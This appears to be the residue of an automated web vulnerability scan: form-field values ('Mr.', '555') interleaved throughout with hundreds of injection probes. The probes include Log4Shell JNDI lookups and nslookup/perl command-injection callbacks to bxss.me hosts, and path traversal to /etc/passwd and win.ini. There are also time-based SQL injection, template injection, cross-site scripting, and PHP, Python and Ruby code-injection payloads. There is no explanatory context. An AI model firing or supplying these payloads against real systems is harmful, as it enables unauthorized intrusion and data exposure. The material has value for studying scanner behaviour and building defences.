Mr.

555

Mr.

555

Mr.

555

Mr.

${j${::-n}di:dns${::-:}${::-/}/hitcxekueflsve9610${::-.}bxss.me}zzzz

Mr.

/../../../../../../../../../../windows/system32/BITSADMIN.exe

/../../../../../../../../../../windows/system32/BITSADMIN.exe

555

Mr.

�💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitnyixnxwxmof3bf9${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Mr.

WfgIj94C

Mr.

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.009247.80-6485.80.c4990${::-.}1${::-.}bxss.me}}

JICtS6fx

555

${j${::-n}di:dns${::-:}${::-/}/hittuwnyykokw32dd5${::-.}bxss.me}zzzz

555

�💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitogyqtybzzbbfcc3${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

555

Mr.

555

Mr.

555 bcc:009247.80-6488.80.c4990.19073.2@bxss.me

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.009247.80-6489.80.c4990${::-.}1${::-.}bxss.me}}

555

Mr.

response.write(9635776*9311024)

Mr.

to@example.com> bcc:009247.80-6490.80.c4990.19073.2@bxss.me

Mr.

555

Mr. bcc:009247.80-6491.80.c4990.19073.2@bxss.me

555

Mr.

to@example.com> bcc:009247.80-6492.80.c4990.19073.2@bxss.me

555

Mr.

12345'"\'\");|]*{ <>�''💡

Mr.

555

Mr.

../../../../../../../../../../../../../../etc/passwd

Mr.

${9999056+10000379}

555

Mr.

echo zncqbt$()\ hmipxp\nz^xyu||a #' &echo zncqbt$()\ hmipxp\nz^xyu||a #|" &echo zncqbt$()\ hmipxp\nz^xyu||a #

Mr.

../../../../../../../../../../../../../../windows/win.ini

${9999180+10000242}

555

12345'"\'\");|]*{ <>�''💡

555

Mr.

'+response.write(9635776*9311024)+'

Mr.

555

Mr.

&echo lywwmd$()\ gqyccw\nz^xyu||a #' &echo lywwmd$()\ gqyccw\nz^xyu||a #|" &echo lywwmd$()\ gqyccw\nz^xyu||a #

Mr.

555

Mr.

|echo ghtipa$()\ rychnd\nz^xyu||a #' |echo ghtipa$()\ rychnd\nz^xyu||a #|" |echo ghtipa$()\ rychnd\nz^xyu||a #

Mr.

../555

Mr.

(nslookup hitxfcjmzvcmbd2389.bxss.me||perl -e "gethostbyname('hitxfcjmzvcmbd2389.bxss.me')")

../../../../../../../../../../../../../../etc/passwd

555

Mr.

555&n932591=v901054

../../../../../../../../../../../../../../windows/win.ini

555

Mr.

$(nslookup hitqyrouwqces137ab.bxss.me||perl -e "gethostbyname('hitqyrouwqces137ab.bxss.me')")

Mr.&n947846=v926133

555

Mr.

555

Mr.

"+response.write(9635776*9311024)+"

Mr.

)

Mr.

&(nslookup hittfgelubqgv2682b.bxss.me||perl -e "gethostbyname('hittfgelubqgv2682b.bxss.me')")&'\"`0&(nslookup hittfgelubqgv2682b.bxss.me||perl -e "gethostbyname('hittfgelubqgv2682b.bxss.me')")&`'

../Mr.

555

Mr.

!(()&&!|*|*|

Mr.

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

response.write(9281627*9464495)

555

Mr.

|(nslookup hitucdoxsqkwg8403b.bxss.me||perl -e "gethostbyname('hitucdoxsqkwg8403b.bxss.me')")

Mr.

^(#$!@#$)(()))******

Mr.

1some_inexistent_file_with_long_name.jpg

Mr.

`(nslookup hithqrjvgnhjief9cf.bxss.me||perl -e "gethostbyname('hithqrjvgnhjief9cf.bxss.me')")`

'+response.write(9281627*9464495)+'

555

Mr.

Http://bxss.me/t/fit.txt

)

555

Mr.

;(nslookup hitqkulbzdtoia124a.bxss.me||perl -e "gethostbyname('hitqkulbzdtoia124a.bxss.me')")|(nslookup hitqkulbzdtoia124a.bxss.me||perl -e "gethostbyname('hitqkulbzdtoia124a.bxss.me')")&(nslookup hitqkulbzdtoia124a.bxss.me||perl -e "gethostbyname('hitqkulbzdtoia124a.bxss.me')")

Mr.

'.gethostbyname(lc('hitwp'.'cvtlkjncdd29e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(65).chr(121).chr(83).'

Mr.

'"()

!(()&&!|*|*|

555

Mr.

http://bxss.me/t/fit.txt?.jpg

"+response.write(9281627*9464495)+"

555

echo hfhdcg$()\ ssaseq\nz^xyu||a #' &echo hfhdcg$()\ ssaseq\nz^xyu||a #|" &echo hfhdcg$()\ ssaseq\nz^xyu||a #

555

Mr.

".gethostbyname(lc("hitgm"."seqqqdbn59848.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(71).chr(110).chr(65)."

Mr.

bxss.me

^(#$!@#$)(()))******

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.

555

'"()

555

&echo hnrlsw$()\ ppqygs\nz^xyu||a #' &echo hnrlsw$()\ ppqygs\nz^xyu||a #|" &echo hnrlsw$()\ ppqygs\nz^xyu||a #

555

'.gethostbyname(lc('hitey'.'zbacvely5a791.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(79).chr(106).chr(80).'

555

1some_inexistent_file_with_long_name.

555

|echo spyapi$()\ xwlfxp\nz^xyu||a #' |echo spyapi$()\ xwlfxp\nz^xyu||a #|" |echo spyapi$()\ xwlfxp\nz^xyu||a #

555

".gethostbyname(lc("hitht"."funpbvgd17e95.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(72).chr(111).chr(86)."

555

Http://bxss.me/t/fit.txt

555

(nslookup hitdbzkgivsyo8631f.bxss.me||perl -e "gethostbyname('hitdbzkgivsyo8631f.bxss.me')")

555

http://bxss.me/t/fit.txt?.

555

Mr.

HttP://bxss.me/t/xss.html?%00

$(nslookup hitzdzjvfqifc234ff.bxss.me||perl -e "gethostbyname('hitzdzjvfqifc234ff.bxss.me')")

555

bxss.me

555

Mr.

bxss.me/t/xss.html?%00

&(nslookup hitcjdtkaszcq0a871.bxss.me||perl -e "gethostbyname('hitcjdtkaszcq0a871.bxss.me')")&'\"`0&(nslookup hitcjdtkaszcq0a871.bxss.me||perl -e "gethostbyname('hitcjdtkaszcq0a871.bxss.me')")&`'

555

HttP://bxss.me/t/xss.html?%00

555

Mr.

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

Mr.

"+"A".concat(70-3).concat(22*4).concat(121).concat(89).concat(98).concat(76)+(require"socket" Socket.gethostbyname("hityf"+"gglzrwiv0373f.bxss.me.")[3].to_s)+"

bxss.me/t/xss.html?%00

555

|(nslookup hitwocgjlqvwl54e69.bxss.me||perl -e "gethostbyname('hitwocgjlqvwl54e69.bxss.me')")

555

Mr.

';print(md5(31337));$a='

Mr.

http://hitpezjtlujfo.bxss.me/

Mr.

'+'A'.concat(70-3).concat(22*4).concat(119).concat(85).concat(97).concat(90)+(require'socket' Socket.gethostbyname('hitji'+'czvsypsndfc95.bxss.me.')[3].to_s)+'

`(nslookup hitfrgozpqtkp39b66.bxss.me||perl -e "gethostbyname('hitfrgozpqtkp39b66.bxss.me')")`

555

Mr.

addreview

Mr.

";print(md5(31337));$a="

Mr.

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

"+"A".concat(70-3).concat(22*4).concat(117).concat(66).concat(110).concat(86)+(require"socket" Socket.gethostbyname("hitjd"+"ljkhvuqd562fd.bxss.me.")[3].to_s)+"

555

http://hitwlvlubxesn.bxss.me/

555

;(nslookup hitwpywynwvpq7dca3.bxss.me||perl -e "gethostbyname('hitwpywynwvpq7dca3.bxss.me')")|(nslookup hitwpywynwvpq7dca3.bxss.me||perl -e "gethostbyname('hitwpywynwvpq7dca3.bxss.me')")&(nslookup hitwpywynwvpq7dca3.bxss.me||perl -e "gethostbyname('hitwpywynwvpq7dca3.bxss.me')")

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

Mr.

addreview

Mr.

${@print(md5(31337))}

Mr.

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitrihfnelwlt79a57.'+'bxss.me')

'+'A'.concat(70-3).concat(22*4).concat(116).concat(78).concat(122).concat(75)+(require'socket' Socket.gethostbyname('hitaf'+'vemtgnee924ca.bxss.me.')[3].to_s)+'

555

Mr.

${@print(md5(31337))}\

Mr.

addreview/.

Mr.

/xfs.bxss.me

Mr.

'.print(md5(31337)).'

addreview

555

/xfs.bxss.me

555

Mr.

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitrihfnelwlt79a57."+"bxss.me")+'

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

555

addreview

555

Mr.

555

Mr.

'"

';print(md5(31337));$a='

555

addreview/.

555

";print(md5(31337));$a="

555

'"

555

${@print(md5(31337))}

555

Mr.

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitrihfnelwlt79a57.'+'bxss.me')+"

${@print(md5(31337))}\

555

'.print(md5(31337)).'

555

Mr.

555

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitmxaeobdipx6021d.'+'bxss.me')

555

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitmxaeobdipx6021d."+"bxss.me")+'

555

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitmxaeobdipx6021d.'+'bxss.me')+"

555

Mr.

555

Mr.

555

Mr.

gy0TPyYE

Mr.

-1 OR 2+900-900-1=0+0+0+1 --

Mr.

-1 OR 2+378-378-1=0+0+0+1

Mr.

-1' OR 2+865-865-1=0+0+0+1 --

Mr.

-1' OR 2+801-801-1=0+0+0+1 or 'y5z4Gl3j'='

Mr.

-1" OR 2+489-489-1=0+0+0+1 --

Mr.

if(now()=sysdate(),sleep(15),0)

Mr.

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Mr.

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Mr.

-1; waitfor delay '0:0:15' --

Mr.

-1); waitfor delay '0:0:15' --

Mr.

-1)); waitfor delay '0:0:15' --

Mr.

1 waitfor delay '0:0:15' --

Mr.

FCU30bLP'; waitfor delay '0:0:15' --

Mr.

SfvKZDvK'); waitfor delay '0:0:15' --

Mr.

3YQGuvzw')); waitfor delay '0:0:15' --

Mr.

-5 OR 822=(SELECT 822 FROM PG_SLEEP(15))--

Mr.

-5) OR 177=(SELECT 177 FROM PG_SLEEP(15))--

Mr.

5559372670

Mr.

-1)) OR 861=(SELECT 861 FROM PG_SLEEP(15))--

Mr.

acu5039＜s1﹥s2ʺs3ʹuca5039

Mr.

qE5AUj7s' OR 803=(SELECT 803 FROM PG_SLEEP(15))--

Mr.

acux1489��z1��z2a�bcxuca1489

Mr.

<%={{={@{#{${acx}}%>

Mr.

XyXBZmNe') OR 908=(SELECT 908 FROM PG_SLEEP(15))--

Mr.

qbF3k0Qi')) OR 767=(SELECT 767 FROM PG_SLEEP(15))--

Mr.

555

Mr.

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Mr.

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Mr.

acx{{98991*97996}}xca

Mr.

1'"

Mr.

acx{{98991*97996}}xca

Mr.

1����%2527%2522

Mr.

@@zlqTy

Mr.

acx{98991*97996}xca

Mr.

555

Mr.

acx${98991*97996}xca

Mr.

555

Mr.

acx#{98991*97996}xca

yi9yk5sg

555

Mr.

acx{#98991*97996}xca

-1 OR 2+511-511-1=0+0+0+1 --

555

Mr.

acx{@98991*97996}xca

-1 OR 2+247-247-1=0+0+0+1

555

-1' OR 2+847-847-1=0+0+0+1 --

555

Mr.

acx{{=98991*97996}}xca

-1' OR 2+730-730-1=0+0+0+1 or 'cnLZCuly'='

555

Mr.

acx@(98991*97996)xca

-1" OR 2+108-108-1=0+0+0+1 --

555

Mr.

acx<%=98991*97996%>xca

Mr.

acx#set($x=98991*97996)${x}xca

if(now()=sysdate(),sleep(15),0)

555

Mr.

acx{{"abc"|title}}xca

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

555

Mr.

print("acx" . 98991*97996 . "xca");

Mr.

98991*97996*98991*97996

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

Mr.

acx{@math key=98991 method="multiply" operand=97996/}xca

Mr.

acx{{{this}}}xca

Mr.

#{98991*97996*98991*97996}

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555

Mr.

acx#{xca}=123

Mr.

acx{{'abcd'.toUpperCase()}}xca

1 waitfor delay '0:0:15' --

555

Mr.

AAABBBCCC{{define "bla"}}bla{{end}}{{define "acx"}}xyz{{end}}{{template "acx"}}CCCBBBAAA

Mr.

acx{{98991*97996}}xca

hCxYZs5S'; waitfor delay '0:0:15' --

555

Mr.

acx[[${98991*97996}]]xca

Mr.

acx__${98991*97996}__::.x

XcwZV9G9'); waitfor delay '0:0:15' --

555

Mr.

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

EO7eTBrJ')); waitfor delay '0:0:15' --

555

IKwyh7YX' OR 336=(SELECT 336 FROM PG_SLEEP(15))--

555

PHns4e8B') OR 881=(SELECT 881 FROM PG_SLEEP(15))--

555

yLcEDV0F')) OR 442=(SELECT 442 FROM PG_SLEEP(15))--

555

Mr.'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555

1'"

555

Mr.

%35%35%35%3C%53%63%52%69%50%74%20%3E%6C%31%54%35%289330%29%3C%2F%73%43%72%69%70%54%3E

1����%2527%2522

555

Mr.

555\u003CScRiPt\l1T5(9652)\u003C/sCripT\u003E

@@jLgd1

555

Mr.

555&lt;ScRiPt&gt;l1T5(9248)&lt;/sCripT&gt;

Mr.

555}body{acu:Expre/**/SSion(l1T5(9021))}

Mr.9519907

555

acu3868＜s1﹥s2ʺs3ʹuca3868

555

acux4628��z1��z2a�bcxuca4628

555

<%={{={@{#{${acx}}%>

555

Mr.

555

acx{{98991*97996}}xca

555

acx{{98991*97996}}xca

555

acx{98991*97996}xca

555

acx${98991*97996}xca

555

acx#{98991*97996}xca

555

acx{#98991*97996}xca

555

acx{@98991*97996}xca

555

acx{{=98991*97996}}xca

555

acx@(98991*97996)xca

555

acx<%=98991*97996%>xca

555

acx#set($x=98991*97996)${x}xca

555

acx{{"abc"|title}}xca

555

print("acx" . 98991*97996 . "xca");

555

98991*97996*98991*97996

555

acx{@math key=98991 method="multiply" operand=97996/}xca

555

acx{{{this}}}xca

555

#{98991*97996*98991*97996}

555

acx#{xca}=123

555

acx{{'abcd'.toUpperCase()}}xca

555

AAABBBCCC{{define "bla"}}bla{{end}}{{define "acx"}}xyz{{end}}{{template "acx"}}CCCBBBAAA

555

acx{{98991*97996}}xca

555

acx[[${98991*97996}]]xca

555

acx__${98991*97996}__::.x

555

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

%4D%72%2E%3C%53%63%52%69%50%74%20%3E%6C%31%54%35%289784%29%3C%2F%73%43%72%69%70%54%3E

555

Mr.\u003CScRiPt\l1T5(9115)\u003C/sCripT\u003E

555

Mr.&lt;ScRiPt&gt;l1T5(9440)&lt;/sCripT&gt;

555

Mr.}body{acu:Expre/**/SSion(l1T5(9008))}

555

Mr.

555